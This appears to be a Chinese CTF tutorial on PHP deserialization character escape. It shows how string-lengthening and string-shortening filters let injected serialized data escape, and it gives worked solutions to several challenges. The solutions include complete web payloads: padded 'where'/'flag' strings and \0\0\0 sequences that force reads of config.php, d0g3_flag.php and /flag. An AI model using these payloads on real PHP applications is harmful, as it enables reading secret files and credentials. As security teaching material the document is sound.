PHP反序列化字符逃逸
任何具有一定结构的数据,只要经过了某些处理而把自身结构改变,则可能会产生漏洞。
基础知识理解
字符逃逸在理解之后就能够明白,这是一种闭合的思想,它类似于SQL中的万能密码。
在SQL注入中,我们常用'
、"
来对注入点进行一些闭合或者一些试探,从而进行各种姿势的注入,反序列化时,序列化的值是以 ;
作为字段的分隔,而在结尾是以 }
结束。
例如:
<?php
class people {
public $name = 'Tom';
public $sex = 'boy';
public $age = '12';
}
$a = new people();
print_r(serialize($a));
?>
得到:
O:6:"people":3:{s:4:"name";s:3:"Tom";s:3:"sex";s:3:"boy";s:3:"age";s:2:"12";}
反序列化的过程就是碰到 ;}
与最前面的 {
配对后,便停止反序列化。 我们可以将上面的序列化的值稍作改变:
O:6:"people":3:{s:4:"name";s:3:"Tom";s:3:"sex";s:3:"boy";s:3:"age";s:2:"12";}123123
可以看到,并没有报错,而且也顺利将这个对象反序列化出来了,恰好说明了我们以上所说的闭合问题,与此同时,修改一些序列化出来的值可以反序列化出我们所知道的对象中里没有的值。
然后要提到报错的时候了,当你的字符串长度与所描述的长度不一样时,便会报错,比如上图中 s:3:"Tom"
变成 s:4:"Tom"
或 s:2:"Tom"
便会报错,为的就是解决这种报错,所以在字符逃逸中分为两类:
- 字符变多。
- 字符减少。
关键字符增多
在题目中,往往对一些关键字会进行一些过滤,使用的手段通常替换关键字,使得一些关键字增多。示例代码:
<?php
function filter($str) {
return str_replace('bb', 'ccc', $str);
}
class A {
public $name = 'aaaa';
public $pass = '123456';
}
$AA = new A();
echo serialize($AA)."\n";
$res = filter(serialize($AA));
$c = unserialize($res);
echo $c->pass;
?>
以上述代码为例,如何在不直接修改 $pass
值的情况下间接修改 $pass
的值。
先看一下当前情况:
在反序列化的时候,PHP 会根据 s 所指定的字符长度去读取后边的字符。如果指定的长度 s 错误则反序列化就会失败。
此时 name 读取的数据为 aaaa"
而正常的语法是需要用 ";
去闭合当前的变量,而因为长度错误所以此时 PHP 把闭合的双引号当作了字符串,所以下一个字符就成了分号,没能闭合导致抛出了错误。
回到之前我们的替换关键字,如果我们将 name 变量中添加 bb 则程序就会报错,因为 bb 将被 filter 函数替换成 ccc,ccc 的长度比 bb 多1,这样前面的 s 所代表的长度为2,但是内容去变长了,成了 ccc。
可见在序列化后的字符串在经过 filter函数过滤前,s 为6,内容为 aaaabb,经过 filter函数过滤后,s仍未6,但内容变为了 aaaaccc,长度变成了7,根据反序列化读取变量的原则来讲,此时的 name 能读取到的只是 aaaacc,末尾处的那个 c 是读取不到的,这就形成了一个字符串的逃逸。当我们添加多个 bb,每添加一个 bb,我们就能逃逸一个字符,那我们将逃逸的字符串的长度填充成我们想要反序列化的代码长度的话就可以控制反序列化的结果以及类里面的变量值了。
假如我们要在name处改为一个 ";s:4:"pass";s:6:"hacker";}
来间接修改 pass 的值,如果我们只是单纯的把它加进去的话,就像下面这样:
class A{
public $name='";s:4:"pass";s:6:"hacker";}';
public $pass='123456';
}
由于 name 被序列化后的长度是固定的,在反序列化后 name 仍然为 ";s:4:"pass";s:6:"hacker";}
,pass 仍然为 123456
。
这里的关键点在于 filter函数,这个函数检测并替换了非法字符串,看似增加了代码的安全系数,实则让整段代码更加危险。filter函数中检测序列化后的字符串,如果检测到了非法字符 bb
,就把它替换为 ccc
。此时我们发现 ";s:4:"pass";s:6:"hacker";}
的长度为27,如果我们再加上27个 bb,那最终的长度将增加27,就能逃逸后面的 ";s:4:"pass";s:6:"hacker";}
了。
可见,成功逃逸,成功修改了 pass 的值。
原因为填充的27个 bb,在经过 filter函数过滤后会增加27个字符的长度,这27个字符会填充当前 payload字符串的长度,而 payload 则顺利的逃逸出了PHP反序列化 s 的检查。逃逸或者说被 “顶” 出来的 payload 就会被当做当前类的属性被继续执行。
例题—[0CTF 2016]piapiapia
进入后是一个登录页面,扫面发现 www.zip。将其下载后,得到一些代码:
发现一个注册页面 register.php,去看看,注册后跳转到了 upload页面,可以上传文件,但是最后我们去查看时,发现我们上传的文件名被后端md5($file[‘name’]),失去了作用。好了,开始代码审计:
config.php 文件中保存着数据库信息和flag变量,当然我们直接是看不到的,在profile.php 文件中存在着反序列化:
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
在 class.php 中定义了 user 类 和 mysql 类,其中 class user extends mysql; user 类中定义了一下方法:
is_exists($username) # 判断用户名是否存在
register($username, $password) # 注册
login($username, $password) # 登录
show_profile($username) # 显示信息
update_profile($username, $new_profile) # 更新信息
__tostring() # 返回当前类名
mysql 类中定义了一下方法:
connect($config) # 连接数据库
select($table, $where, $ret = '*') # 查询数据
insert($table, $key_list, $value_list) # 插入数据
update($table, $key, $value, $where) # 更新数据
filter($string) # 过滤字符
__tostring() # 返回当前类名
所以得出 flag 在 config.php 中,而在profile.php 中则有一段关键的代码:
$photo = base64_encode(file_get_contents($profile['photo']));
可以看到,这里将上传的文件 $profile['photo']
中的内容读取后进行了 base64,然后输出。在这里还有个反序列化,所以我们就可以想到使用 反序列化字符逃逸,来让 $profile['photo']
的值为 config.php
,这样就可以将 config.php 的源码经过 base64后输出,得到flag。
以反序列化为入口点,先看 $user->show_profile($username);
:
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
其调用了父类的 filter 方法:
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/'; # /'|\\/
$string = preg_replace($escape, '_', $string); # 将传入的变量中的单引号或反斜线替换为下划线
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i'; # /select|insert|update|delete|where/
return preg_replace($safe, 'hacker', $string); # 将上述sql关键字替换为hacker
}
即传入的 $username
中的单引号、反斜线等关键字会被替换;之后调用 select 方法从数据库查询信息后返回。如果返回的信息不为空,那么会将上述查询返回的 $profile
进行反序列化;之后会获取 $profile['photo']
的内容;在update.php 中找到相关的变量:
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
...
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
这里将文件名进行了 md5 后再序列化存储,调用 update_profile 方法时,序列化后的 $profile
经过 filter 后才存入到数据库中:
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
那么我们不能直接修改文件名来控制读取文件的内容了,再看看表单的其他参数:
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
phone 和 email 被限制了,只有 nickname 可以绕过。它的判断条件用了个 or
运算符,当我们使 nickname 为数组时,前面的正则会返回 false,由于 or
的存在,只会判断后面的,strlen 的参数为数组时,会返回 NULL,与 10 比较会转换为 0;由此,nickname 的参数为数组即可绕过这个过滤。
所以我们构造 nickname,使 profile 经过序列化、替换、反序列化后的 $profile['photo']
值替换掉原本经过 md5 后的 $profile['photo']
文件名,读出flag。
首先看看正常的序列化的结果:
<?php
$profile['phone'] = '13393731122';
$profile['email'] = '123@qq.cn';
$profile['nickname'] = ['a'];
$profile['photo'] = 'upload/' . md5('gtfly');;
echo serialize($profile);
a:4:{s:5:"phone";s:11:"13393731122";s:5:"email";s:9:"123@qq.cn";s:8:"nickname";a:1:{i:0;s:1:"a";}s:5:"photo";s:39:"upload/1791e49ef8cf4fc717bdf26e9fad4fb7";}
现在 nickname 字段可控了,我们最终要得到的序列化字符串为:
a:4:{s:5:"phone";s:11:"13393731122";s:5:"email";s:9:"123@qq.cn";s:8:"nickname";a:1:{i:0;s:1:"a";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/1791e49ef8cf4fc717bdf26e9fad4fb7";}
即比正常的多出来:
";}s:5:"photo";s:10:"config.php
如果我们直接构造:
<?php
$profile['phone'] = '13393731122';
$profile['email'] = '123@qq.cn';
$profile['nickname'] = ['";}s:5:"photo";s:10:"config.php'];
$profile['photo'] = 'upload/' . md5('gtfly');;
echo serialize($profile);
print_r(unserialize(serialize($profile)));
a:4:{s:5:"phone";s:11:"13393731122";s:5:"email";s:9:"123@qq.cn";s:8:"nickname";a:1:{i:0;s:31:"";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/1791e49ef8cf4fc717bdf26e9fad4fb7";}Array
(
[phone] => 13393731122
[email] => 123@qq.cn
[nickname] => Array
(
[0] => ";}s:5:"photo";s:10:"config.php
)
[photo] => upload/1791e49ef8cf4fc717bdf26e9fad4fb7
)
这样并不能达到反序列化逃逸。由于上面,序列化后的字符串经过了 filter 进行了替换,而且我们可以发现 where
被替换成了 hacker
,字符长度+1,那么只需要在构造的字符串前加上 31 个 where
,它会被替换成 31 个 hacker
,字符串长度+31,那么 ";}s:5:"photo";s:10:"config.php
会被单独的解析为数组元素而不是字符串,且其后的字符串也不会被反序列化,实现了逃逸:
<?php
$profile['phone'] = '13393731122';
$profile['email'] = '123@qq.cn';
$profile['nickname'] = ['wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php'];
$profile['photo'] = 'upload/' . md5('gtfly');;
function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/'; # /'|\\/
$string = preg_replace($escape, '_', $string); # 将传入的变量中的单引号或反斜线替换为下划线
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i'; # /select|insert|update|delete|where/
return preg_replace($safe, 'hacker', $string); # 将上述sql关键字替换为hacker
}
echo serialize($profile);
echo "\n";
echo filter(serialize($profile));
echo "\n";
print_r(unserialize(filter(serialize($profile))));
a:4:{s:5:"phone";s:11:"13393731122";s:5:"email";s:9:"123@qq.cn";s:8:"nickname";a:1:{i:0;s:186:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/1791e49ef8cf4fc717bdf26e9fad4fb7";}
a:4:{s:5:"phone";s:11:"13393731122";s:5:"email";s:9:"123@qq.cn";s:8:"nickname";a:1:{i:0;s:186:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/1791e49ef8cf4fc717bdf26e9fad4fb7";}
Array
(
[phone] => 13393731122
[email] => 123@qq.cn
[nickname] => Array
(
[0] => hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker
)
[photo] => config.php
)
可以看到,成功的使要读取的文件变为了 config.php
。
接下来,我们只需要在更新信息时抓包,修改 nickname 来达到目的:
最后去访问我们的 profile.php 源码,将读到的数据解码即可。
关键字符减少
道理同上,先来看个简单的示例:
<?php
highlight_file(__FILE__);
$user = array('username' => 'zddoo', 'age' => '13');
$b = serialize($user);
echo "<br>".$b."<br>";
$d = preg_replace('/oo/', 'o', $b);
echo $d."<br>";
print_r(unserialize($d));
?>
这里错误的原因是因为 s:5:"zddo"
长度与格式不符,所以它向后吞噬了一个 "
,导致反序列化格式错误,从而报错,所以我们让它往后吞噬一些我们构造的代码。
我们的目标是将年龄改为 35。
取出 ";s:3:"age";s:2:"35";}
这就是我们需要构造的,接着将这部分内容重新传值,序列化出来:
选中的部分就是我们需要去吞噬的代码,可以看到我们需要吞噬的字符串长度为 18,根据上面的过滤,是将两个o 变为一个,也就是每两个 o吃掉一个字符位,所以我们需要 18个 oo ,去吞噬掉被选中代码,使得我们后方的代码逃逸,加入反序列化,构造 payload:
a:2:{s:8:"username";s:"36":"oooooooooooooooooooooooooooooooooooo";s:3:"age";s:22:"";s:3:"age";s:2:"35";}"
例题—[安洵杯 2019]easy_serialize_php
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
打开首先就是代码,然后代码中提示了 eval('phpinfo();');
,所以去看看:
auto_append_file 在所有的页面的底部自动包含文件,这里自动包含了一个 d0g3_flag.php,看名字就可以猜到 flag 在这里,但是现在打不开,所以要在下方代码中把它读出来:
else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
可以看到,先对 $serialize_info
反序列化,再对文件名进行了 base64 解码后,将文件中的内容读取出来。
根据题目代码可知,题目是先序列化 $_SESSION
数组,然后再经过一个过滤函数,再反序列化。这就产生了一个问题,过滤函数会替换掉一些关键词,这样就会造成反序列化的对象逃逸问题。由于我们正常传入的 img_path
参数会被 sha1 加密,所以不可用。我们需要其他的方式去控制 $_SESSION
中的参数。
而这里有变量覆盖 :
if($_SESSION){
unset($_SESSION); #将 $_SESSION 销毁
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST); #将 POST的数组中的变量导入到当前的符号表
extract() 变量覆盖举例:
根据 extract() 我们可以进行变量覆盖,当我们传入 $_SESSION[“flag”]=123 时,$_SESSION[“user”] 和 $_SESSION[“function”] 全部会消失。只剩下$_SESSION[“flag”]=123。
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);
?>
我们可以利用这里来进行传参。
但是在这里直接给 $_SESSION[“img”] 进行变量覆盖是不现实的,因为下方还有:
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
会对我们输入的 $_SESSION[“img”] 进行再次覆盖。
这里就要我们在去利用 filter() 的过滤来造成反序列化字符逃逸。
- 键逃逸
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mbGFnLnBocA==";}
ZDBnM19mbGFnLnBocA==
为 d0g3_flag.php 的base64 加密。让我们来理解一下这个 payload:
$_SESSION['phpflag']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump( serialize($_SESSION) );
#原输出
#"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
#经过 filter 过滤后
"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
在经过 filter 过滤后,phpflag 就会被替换成空,s:7:"phpflag";s:48:"
就变为了 s:7:"";s:48:"
,即完成了逃逸。
这里两个键值分别变为了:";s:48:
和 img
。这里的 s:1:"1";
里的值是什么都无所谓,主要是随便构造一个值而已。之后的 ;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
被丢弃。
开始注入:
得到 flag in /d0g3_fllllllag。
将 /d0g3_fllllllag
base64加密,发现恰好也是20位,直接替换原来的 Z3Vlc3RfaW1nLnBuZw==
即可:
- 值逃逸 ????
这里需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image
经过 filter 过滤后序列化 var_dump 的结果为:
"a:3{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
例题—安H四月
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
很明显,我们需要利用 file_get_contents(); 读取文件,将 flag 读取出来,但他个 __toString() 方法,我们需要触发这个方法,当反序列化出对象后,被当作字符串使用时,就可以触发。
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
由这段代码可知,如果发现 不可见字符*不可见字符
,字符串就会增多,接着又将 \0\0\0
的6个字符变成3个字符 不可见字符*不可见字符
,我们自己是不会去写入不可见字符的在这道题中,相反可以故意写入 \0\0\0
使得字符串减少,通过计算逃逸字符,读取flag文件。
题目中序列化对象是 $a,里面有俩个参数,username 和 password,我们要传入这两个参数值,来达到目的。
按照流程,先来个模板:
<?php
highligh_file('字符减少.php');
class A {
public $username;
public $password;
}
class B {
public $b = 'gqy';
}
class C {
public $c = "/flag";
}
$a = new A();
$b = new B();
$c = new C();
$b->b = $c;
$a->username = '\0\0\0\0\0\0\0\0\0';
$a->password = $b;
echo "<br>".serialize($a);
?>
";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:5:"/flag";}}}
这部分就是我们需要重新传参的部分,让我们重新传参:
选中部分为我们要吞噬的地方,这样就可以把后面我们需要的代码逃逸,计算需要吞噬的字段长度为23,所以我们需要8个 \0\0\0
,但是8个这样的字符会吞噬掉24个字符,所以我们可以在 s:70:""
双引号里随便添加一个字符让他吞噬。
所以最终 password 里的参数应为:
a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:5:"/flag";}}}
在 username 里的值为: 8个 \0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
最终 payload 为:
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:5:"/flag";}}}